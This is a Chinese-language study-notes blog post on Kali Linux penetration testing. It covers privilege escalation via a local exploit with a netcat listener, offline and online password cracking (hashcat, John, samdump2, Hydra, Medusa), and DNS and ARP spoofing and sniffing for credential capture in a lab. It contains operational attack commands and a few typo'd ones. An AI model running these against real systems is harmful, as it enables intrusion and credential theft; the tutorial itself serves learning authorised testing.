【Linux_Kali网络渗透测试学习笔记总结(七)】提升权限

网络渗透测试(七):提升权限


纵向提权(vertucal privilege escalation): 如果低权限角色(的用户)能够获得高权限角色的权限,则这种权限就可以称为纵向提权。

横向提权(horizontal privilege escalation):如果获取了同级别角色的权限,这种提权就属于横向提权。

越权提升权限的攻击矢量,大致可以分为以下几种:

  • 利用本地漏洞
  • 利用目标系统上的配置缺陷
  • 利用目标系统的弱密码
  • 嗅探网络流量以捕获他人的用户名和密码
  • 伪造网络数据包

1.利用本地漏洞

nmap -p- 192.168.56.102

对目标服务器进行端口扫描先使用nmap进行整个网络的扫描,如果发现大量服务,根据网上的情报(查询相关漏洞信息,在一些黑客社区都会有持续报告,或者IT论坛,硬件厂商公告等)确定该服务是否存在漏洞,若存在漏洞,可以通过相关工具针对漏洞发动利用

uname -r //显示主机信息
//在被测主机上下载exploit之后,我们在被测主机上使用gcc指令编译exploit
gcc privs.c -o privs

//获取pid
cat /proc/net/netlink

//获取udev服务的PID
ps aux | grep udev

//在测试主机上启动netcat的监听服务,以受理被测主机发起的连接
nc -vv -l -p 31337

//运行开始监听
./prvs 2390



2.密码攻击

在这里插入图片描述

密码是当代系统验证用户身份的主要手段

构成身份验证的要素可分为三大类 >>>

  • 基于所知(something you know)
  • 基于所有(something you have)
  • 基于特征(something you are)

攻击方式的不同,密码攻击分为以下几类 >>>

  • 离线攻击:这种攻击手段意在获取目标主机上的密码hash文件,并将该文件复制到攻击人员的主机。此后,攻击人员就可以使用密码破解工具破解密码文件。这种方法的优点是无须顾及被测主机上的密码阻止策略(账户锁定等设置),因为有关破解工作是在攻击人员的主机上完成的

  • 在线攻击:如果采用这种方法,攻击人员将猜测用户名和对应的密码。因为需要多次猜测用户密码,所以这种方式因为可能会触发账户锁定等保护机制


2.1 离线攻击工具

这类工具用于实施离线密码攻击,通常情况下,你会用这种工具破解高权限账户的密码,所以这类工具往往用于 纵向提权(离线密码攻击属于纵向提权)

现在主流系统在存储密码的时候都只保存密码的hash值,通过哈希算法,密码可被转换为固定长度的消息摘要

密码破解是以穷举的方式做哈希碰撞,如果所测密码的哈希值与文件中的哈希值相符,就意味着猜测到了正确的密码

在利用SQL注入漏洞后,测试人员就可导出整个数据库,继而可找到密码的哈希值。

2.1.1 hash-dentifier

这款工具可识别哈希的类型。只有知道被测系统采用了什么哈希算法,才能使用密码破解工具破解哈希值

2.1.2 Hashcat

Hascat是一款免费的多线程密码破解工具。目前,它可破解80种算法的哈希值。Hashcat程序完全依赖CPU运算。它要比利用GPU运算的密码破解程序要慢一些

Hashcat支持6种攻击模式:

  • Straight:程序会从文本文件里逐行读取数据,并把这些数据当作密码的备选值,这是默认的攻击模式,通常也被称为字典攻击模式
  • Combination (组合模式):Hashcat将会把字典中的单词进行排序组合,在做哈希碰撞。
  • Toggle Case(穷举大小写组合):程序将会尝试每个字典单词的各种大小写组合
  • Brute force(暴力破解):程序将会从关键字空间中取样再做排序组合。这种攻击模式正在被mask attack所取代。
  • Permutation (排序组合):对于字典里每个备选密码,程序将会按照字符进行各种排列组合。
  • Table-lookup(表查询):程序将把字典里每个备选密码的每个字符都当作对应的mask进行处理。这是一种自动匹配模式的穷举攻击。
// -m 100指定了hash的类型为SHA-1
hashcat -m 100 test.hash rockyou.txt

默认攻击模式的破解速度比较快,如果密码字典没有命中正确的密码就需要尝试其他的攻击模式


Hashcat系列有很多密码破解工具,其中部分程序可以使用GPU破解密码;所以只要你的电脑装有兼容的GPU,那么破解速度还是相当理想的。请注意,无法在VW虚拟机里使用基于GPU破解的程序,因为在虚拟机里运行的程序无法直接调用物理主机的硬件。

此外,显卡的兼容性也很重要。要使用基于GPU运算的破解程序,你的显卡需要支持CUDA(NVidia)或OpenCL(AMD)技术
在Hashcat系列里,支持基于GPU运算的破解程序有下面几种:

  1. oclhashcat-lite:它是一款基于GPU运算的密码破解程序。在Hashcat系列工具里,它算是速度最快的破解工具。不过它支持的哈希算法有限(约30种),而且只支持markov,brute force和mask模式的密码攻击
  2. oclhashcat-plus:它是一款基于GPU运算的密码破解程序,支持多数哈希算法,这个程序针对字典式攻击进行了各种优化,可同时破解多个哈希值。
    oclhashcat-plus工具支持的攻击模式有brute force(以mask attack模式实现)
    combinator attack , dictionary attack , hybrid attack , mask attack

2.1.3 RainbowCrack

彩虹表破解(RainbowCrack)是利用彩虹表来破解哈希数据的工具。它实现了由PhilippeOechslin提倡的 “以空间换时间” 的技术思想

彩虹表破解法的效率高于暴力破解法,这是因为暴力破解必须计算字典内容的哈希值,然后进行匹配。而使用“以空间换时间”技术的彩虹表破解法,事先就计算好了字典各项的哈希值,破解过程只是简单的数值比较,所以效率更高

kali linux收录了RainbowCrack的三大工具。在破解哈希时,你必须依次使用这些工具

  1. rtgen:生成彩虹表的程序。生成彩虹表的计算过程也被称为彩虹表的预计算阶段。彩虹表包含字典,哈希值,哈希算法,字符集以及字典的长度范围。彩虹表的预计算相当费时。但是生成彩虹表之后,彩虹表破解法将比暴力破解法的效率要高上不少。rtgen程序支持的算法有LanMan,NTLM,MD2,MD4,MD5,SHA1以及RIPEMD160
  2. rtsort:对rtgen生成的彩虹表进行排序的工具
  3. rcrack:利用彩虹表查找哈希值的工具

制作彩虹表简单实例:

//制作的彩虹表会被保存在/usr/share/rainbowcrack/之下
# rtgen md5 loweralpha 1 5 0 2000 8000 testing

制作彩虹表之后,应当对其进行排序,此时可选择rtsort程序

# rtsort

# rtsort md5_loweralpha#1-5_0_2000x8000_0.rt

然后,采取相同的操作对第二个彩虹表进行排序

# rtsort md5_loweralpha#1-5_1_2000x8000_0.rt

rtsort工具会用排序的结果覆盖文件
在rtsort程序运行期间,请耐心等待程序结束,切勿中断程序,否则将会破坏彩虹表文件

碰撞试验

# rcrack

# rcrack /usr/share/rainbowcrack/*.rt -h
ab56b4d92b40713acc5af89985d4b786

2.1.4 samdump2

Windows 2k/nt/xp/Vista 系统的账户密码,以哈希值的形式存储于SAM的文件型数据库里。samdunip2可破解这种哈希。无需SysKey(System Key),samdump2程序就可破解密码的哈希值。SysKey是由Windows NT Service Pack 3引入的概念,它是保护Windows SAM数据库的加密密钥

# samdump2

获取Windows密码哈希值的方法有很多

  1. 第一种方法:直接使用samdump2程序分析windows系统和SAM文件。有关信息都保存在c:%windows%\system32\config目录下。不过,在Windows运行期间,该目录被锁定保护。所以,可通过Linux Live CD(例如Kali Linux)启动计算机系统,然后挂在Windows系统的磁盘分区。在此之后,你就可以把Windows的SAM文件复制到Kali主机上
  1. 第二种方式:使用pwdump程序或同类型的相关工具把Windows账号的密码哈希值导出来
  1. 第三种方法:参见上一章Meterpreter脚本的使用办法,再执行hashdump命令把密码的哈希值导出来,使用这种方法的前提是你首先要成功利用好主机的漏洞,并能上传Meterpreter脚本

演示Windows XP SP3 密码的破解方法,假设你已经取得system和sam文件

//把samdump2的输出结果保存为文件test-sam
# samdump2 system sam -o test-sam

2.1.5 John

John the Ripper/John是一款破解密码哈希的工具。它可破解常见的DES,MD%,LM,NT,Crypt,NETLM和NETNTLM型哈希

# john
  • 字典模式(Wordlist mode):在这种模式下,用户只需要提供字典文件(wordlist)就可以破解密码文件
  • 简易破解模式(SIngle crack mode):这是John程序作者推荐的应当首先尝试的破解模式
  • 增强型破解模式(Inxremental mode):这种模式是John各种模式里功能最强大的破解模式,它会尝试有可能的密码组合
  • 外部模式(External mode):在这种模式下,用户可以指定John程序使用外部(源)程序破解密码

如果没有明确指定John的破解模式,它将会按默认顺序进行破解:首先采用简易破解模式,然后尝试字典破解,最后进行增强式破解

# unshadow etc-passwd etc-shadow > pass

可以使用下述指令破解密码;其中,pass就是需要破解的密码文件,也就是刚刚合并处理的文件

(1)输入指令开始执行

# john pass
//如果John程序能够破解这些密码,它就会把破解的密码存储为john.pot
# john --show pass

如需清除John程序的缓存,就要删除文件/root/.john/john.pot


(2)接下来,我们使用字典文件password.lst破解samdump2导出的哈希信息

# john test-sam --wordlist=password.lst --format=nt

(3)查看破解结果

# john test-sam --format=nt --show

2.1.6 Johnny

图形化版本——Johnny

在这里插入图片描述

2.1.7 Ophcrack

Ophcrack是一款基于彩虹表的破解工具,因为属于彩虹表破解工具,所以采用的策略同样是以空间换时间的策略

//使用命令破解先前获取的哈希
# ophcrack -d fast -t fast -f test-sam

2.1.8 Crunch

crush是一款基于用户标准来创建密码字典(wordlist)的工具。密码字典通常用于暴力破解

//如果要创建由字母组成的密码长度在5个字符以内密码字典,并指定密码字典的文件名为5chars.txt,我们可以使用如下指令

# crunch 1 5 -o 5charts.txt

创建由小写字母和数字组成的密码长度在4个字符以内的密码字典,并指定字典文件的文件名为wordlist.lst

# crunch 1 4 -f /usr/share/crunch/charset.lst lalpha-numeric -o wordlist.lst

2.2 在线破解工具

所谓在线破解,意味着这类工具在与被测主机建立连接之后才能破解密码

工具分类 >>>

  • 制作密码字典
  • 搜索密码的哈希值
  • 在线密码破解工具

在线密码破解工具会采取常规用户登录的方式,以用户名和密码登录远程主机的网络服务。它会不断尝试各种用户名和密码,直到发现正确的账户信息为止

这类工具存在暴露的风险。因为测试主机会直接连接到被测主机,所以可能会被对方发现甚至会被屏蔽。因为这些工具使用的是标准登录过程,所以在破解效率方面比离线攻击软件的效率更高

虽然在线攻击工具速度不快,也可能触发账户锁定定制机制,但是对于SSH,Telent和FTP这类服务来说,在线攻击是密码破解的唯一方式 在进行在线的密码攻击时,务必加倍小心;尤其是在攻击ACtive Directory(AD)服务器的账号时,暴力破解可能会锁定所有的域账户。要避免发生锁定账户的情况,不仅要事先查看密码和用户锁定策略,在测试密码时最好还要使用同一密码对所有用户名进行测试(轮换用户名,而不是轮换密码

2.2.1 CeWL

CeWL(Custom Word List)是一款以爬虫模式在指定URL上收集单词的工具。 把它收集到的单词纳入密码字典,可提高密码破解工具(例如John the Ripper)的命中率

CeWL程序有很多选项,其中较为常用的如下所示 >>>

  • –depth N或-d N:提取深度,分析N级链接以内的网页内容;提取深度的默认值是2
  • –min_word_length N或-m N:单词的最小长度,小于N个字符的单词不会被收录;单词最小长度的默认值是3
  • –verbose或-v:详细提示模式
  • –write或-w:设定输出文件的文件名

如果在运行CeWL时遇到Error:zip/zip gem not installed错误,那么就要使用gem install zip/zip指令安装相应的功能包:

# gem install zip
Fetching:zip-2.0.2.gem (100%)
Successfully installed zip-2.0.2
1 gem installed
Installing ri documentation for zip-2.0.2...
Installing RDoc documentation for zip-2.0.2...

结合上述选项,我们使用下述指令从目标网址收集单词

cewl -w target.txt http://www.target.com

稍等片刻之后,程序会把收集到的单词保存为文件target.txt (根据网页的内容来定,网页文本内容多的话,等待时间会很长)

在这里插入图片描述

在Kali系统里,这个文件位于目录/usr/share/cewl


2.2.2 Hydra

Hydra是一款猜测并破解用户名和密码的工具。 它支持多种网络协议,可破解HTTP,FTP,POP3和SMB等协议的密码。它向目标主机发起16个并行连接同时进行多组测试

本例演示使用hydra程序破解192.168.56.101的VNC服务器的密码。如果密码字典的文件名是password.lst,我们可使用下述指令

# hydra -P password.lst 192.168.56.101 vnc

下一步工作就是验证Hydra破解的密码。我们可直接运行vncviewer程序,使用这些密码连接到远程主机的VNC服务器

Hydra程序有一个对应的GUI程序

//运行hydra的GTK图形界面程序
# xhydra

经验表明,xhydra程序不如其命令行程序hydra那样灵活,不能调整很多设置。
例如:
在破解VNC服务时,xhydra无法设置用户名;更为不幸的是,它就没有设置用户名的功能

2.2.3 Medusa

Medusa是另外一款在线破解网络服务密码的程序。它具有速度快,并发性能强和模板化的特点。
现在,它能够通过相应模板破解CVS,FTP,HTTP,IMAP,MS-SQL,MySQL,NCP(NetWare),PcAnywhere,POP3,PostgreSQL,rexec,Rlogin,rsh,SMB,SMTP(VRFY),SNMP ,SSHv2,SVN,Telnet , VmAuthd ,VNC协议,另有一个通用处理模板

Medusa程序有很多选项,其中常用的一些选项如下所示

  • -u 或 -U[FILE]:指定用户名或用户名字典
  • -h或-H[FILE]:指定主机名或主机名字典
  • -p或-P[FILE]:指定密码或密码字典
  • -M:配置测试所用的模板的名称。亦可通过-d选项搜索模板
  • -O:设置输出文件的文件名
  • -V:设置提示信息的详细程度。如果使用了-v 4选项,将只能看到成功破解的登录破解实验

用Hydra破解了VNC服务器的密码;现在我们再用Medusa作一次相同的破解实验

# medusa -u root -P password.lst -h 192.168.56.101 -M vnc -v 4

3.网络欺骗工具

网络欺骗(network spoofing)泛指修改网络数据的各种手段。例如:
伪造MAC地址,伪造IP地址等的数据,都属于网络欺骗的范畴。网络欺骗皆在与获取网络上两个会话主机的通信数据。

3.1 DNSChef

DNSChef是一款DNS代理工具。它可替DNS服务器对被测主机进行DNS回复,把域名解析为攻击者管控的IP,从而让攻击者的主机扮演真正的服务器角色。DNSChef的这种功能可能用来分析甚至控制客户主机的网络流量

在使用DNSChef之前,你需要对被测主机就进行调整,指定DNSChef的主机为被测的DNS服务器

  • 如果被测主机安装的是Linux系统,那么你应当修改/etc/resolv.conf文件
  • 如果被测主机安装的是Windows,你可通过控制面板的网络连接选项进行相应的设置

在没有权限更改被测主机DNS服务器设置的情况下,你就需要使用其他手段(例如ARP欺骗并搭设一个伪DHCP服务器等)劫持被测主机的DNS请求

1.设置为DNS代理

第一步是把DNSChef设置为DNS代理服务器。我们要在DNSChef的主机上运行下述指令

# dnschef

host -t A google.com

2.伪造域名记录

现在,我们要伪造google.com有关的DNS响应。首先要修改/etc/resolv.conf文件,令被测主机使用DNSChef作为其DNS服务器

接下来在DNSChef所在的主机上使用下述指令

# dnschef --fakeip=192.168.2.21 --fakedomains google.com --interface 192.168.2.21 -q

而后我们在被测主机查询google.com的IP地址

$ host -t A google.com

google.com has address 192.168.2.21

Kali集成的是v0.1版本的DNChef程序。这个版本不支持IPv6。如果需要在IPv6的网络中使用这个程序,你需要将其升级为v0.2版

如需在IPv6的网络里使用DNSChef程序,就要在指令行里启用-6选项

dnschef.py -6 --faakeipv6 fe80::a00:27ff:felc:5122 --interface :: -q

3.2 arpspoof

arpspoof是一款在交换网络中辅助进行网络监听的实用工具。。前文提过,在使用交换机进行数据交换的网络环境里很难进行网络监听,但arpspoof可以辅助我们完成这项任务

arpspoof用于伪造网络中两台设备的ARP通信

原理解析:

常规情况下,当主机A要和主机B(网关)进行通信的时候,主机A会广播ARP请求以获取主机B的MAC地址。此后,主机B将会回应这个ARP请求,在ARP Reply数据包里声明自己的MAC地址;此后,主机A和主机B才能开始通信

在这里插入图片描述

如果攻击者C想要监听主机A和主机B之间的网络流量,则可以向主机A发送ARP回复,告诉它主机B使用的是主机C的MAC地址(33.33.33.33.33.33);而后它还要通告主机B,“主机A的MAC地址”是33.33.33.33.33.333“

在这里插入图片描述

在ARP欺骗生效之后,主机A和主机B之间的所有网络数据包都会通过主机C转发。

在使用arpspoof之前,需要在Kali Linux(运行ARPspoof)的主机上启用IP转发功能,这就需要以root用户的身份执行下述指令

# echo 1 > /proc/sys/net/ipv4/ip_forward

要通过指令界面启动arpspoof程序,可在终端中执行下述指令

# arpspoof

网关的配置信息如下

  • MAC地址:00-50-56-C0-00-08
  • IP地址:192.168.65.1
  • 子网掩码:255.255.255.0

被测主机的配置如下

  • MAC地址:00-0C-29-35-C9-CD
  • IP地址:192.168.65.129
  • 子网掩码:255.255.255.0

测试主机的配置如下

  • MAC地址:00:0C:29:09:22:31
  • IP地址:192.168.65.130
  • 子网掩码:255.255.255.0

在启动程序以前,被测主机的ARP缓存如下所示

Interface:192.168.65.129 --- 0x30002
Internet Address	Physical Address	Type
192.168.65.1		00-50-56-c0-00-08	dynamic

通过以下命令,对被测主机实施ARP欺骗

# arpspoof -t 192.168.65.129 192.168.65.1

在被测主机上稍等片刻,然后用ping命令测试网关的连接情况。被测主机的ARP缓存很快就会改变为下述内容

Interface:192.168.65.129 --- 0x30002
Internet Address	Physical Address	Type
192.168.65.1		00-0c-29-09-22-31	dynamic

上述信息表明,在被测主机的ARP缓存里,网关的MAC地址由00-50-56-c0-00-08改变为00-0c-29-09-22-31
新的MAC地址是测试主机的MAC地址。从中可以看出,网关对应MAC地址已经变成攻击者机器的MAC地址

3.3 Ettercap

Ettercap是一款在LAN中进行中间人攻击的工具集。它通过ARP攻击充当网络通信的中间人。一旦ARP协议的攻击奏效,它就能够:

  • 修改数据连接
  • 截获FTP,HTTP,POP和SSH1等协议的密码
  • 通过伪造SSL证书的手段劫持被测主机的HTTPS会话

ARP协议(地址协议)用来把IP地址解析为物理地址(MAC地址)。

在某台主机要进行通信时,它首先会查询对方IP地址的MAC地址。此时,攻击人员可将自己主机回复给查询MAC地址的主机,以进行中间人攻击。这种攻击叫做ARP毒化(污染)攻击和ARP欺骗。只有当攻击主机和被测主机处于同一网段的时候,这种攻击才会有效

两种启动方式:

//启动文本模式
# ettercap -T

//启动仿图形模式
# ettercap -C

//图形模式
# ettercap -G

本例将使用Ettercap程序进行DNS欺骗攻击。各主机采用了前一个例子的配置方法。此外,本例要使用额外的两台主机:IP为192.168.2.1的DNS服务器;一台诱导被测主机连接的IP地址为192.168.2.22的Web服务器。攻击人员测试主机的IP地址为192.168.2.22

# ettercap -i eth0 -T -q -P dns_spoof -M ARP /192.168.2.1/ /192.168.2.22/

4.网络嗅探器

网络嗅探器是监视数据网络数据的软件程序和硬件设备。人们往往利用它复制网络数据的功能来检测网络数据。借助这类工具,你可以看到网络中正在传输的信息

4.1 Dsniff

dsniff: 一个密码侦测工具,他能够自动分析端口上收到的某些协议的数据包,并获取相应的密码。dnisff支持的协议有FTP, Telnet, SMTP, HTTP, POP, poppass, NNTP, IMAP, SNMP, LDAP, Rlogin, RIP, OSPF, PPTP MS-CHAP, NFS, VRRP, YP/NIS, SOCKS, X11, CVS, IRC, AIM, ICQ, Napster, PostgreSQL, Meeting Maker, Citrix ICA, Symantec pcAnywhere, NAI Sniffer, Microsoft SMB, Oracle SQL*Net, Sybase and Microsoft SQL;

在攻击人员的测试主机上执行下述指令

# dsniff -i eth0 -m

其中,选项-i eth0 将Dsniff程序监听eth0网卡。而选项-m则用于启动程序的自动协议检测功能

4.2 tcpdump

tcpdump程序是一款网络嗅探器,它可以捕获符合条件表达式的网络数据包。在没有指定条件表达式的情况下,它会显示所有网络数据包。而在指定条件表达式的情况下,它只会捕获符合条件表达式的数据包

tcpdump还可以将网络数据包存储为文件,或从文件中读取网络数据

实例一:

监听eth0网卡,捕获大小为96字节(-s 96)的数据包

# tcpdump -i eth0  -s 96

在这里插入图片描述

实例二:

嗅探从IP地址10.0.2.15到10.0.2.100的ICMP封包,这里设置嗅探eth0接口(-i eth0),不需要把地址转换成主机名(-n),不需要打印时间戳(-t),用十六进制格式和ASCII格式打印封包头和数据(-X)。在主机10.0.2.15处输入:

# tcpdump -n -t -X -i eth0 -s 64 icmp and src 192.168.56.102 and dst 192.168.56.101

4.3 Wireshark

Wireshark(前称Ethereal)是一个网络封包分析软件。网络封包分析软件的功能是撷取网络封包,并尽可能显示出最为详细的网络封包资料。Wireshark使用WinPCAP作为接口,直接与网卡进行数据报文交换。
在这里插入图片描述在这里插入图片描述

声明

本测试仅供学习交流所用,不得在未经被测方有效法律允许的情况下擅自测试

猜你喜欢

转载自blog.csdn.net/qq_41136216/article/details/105863444
今日推荐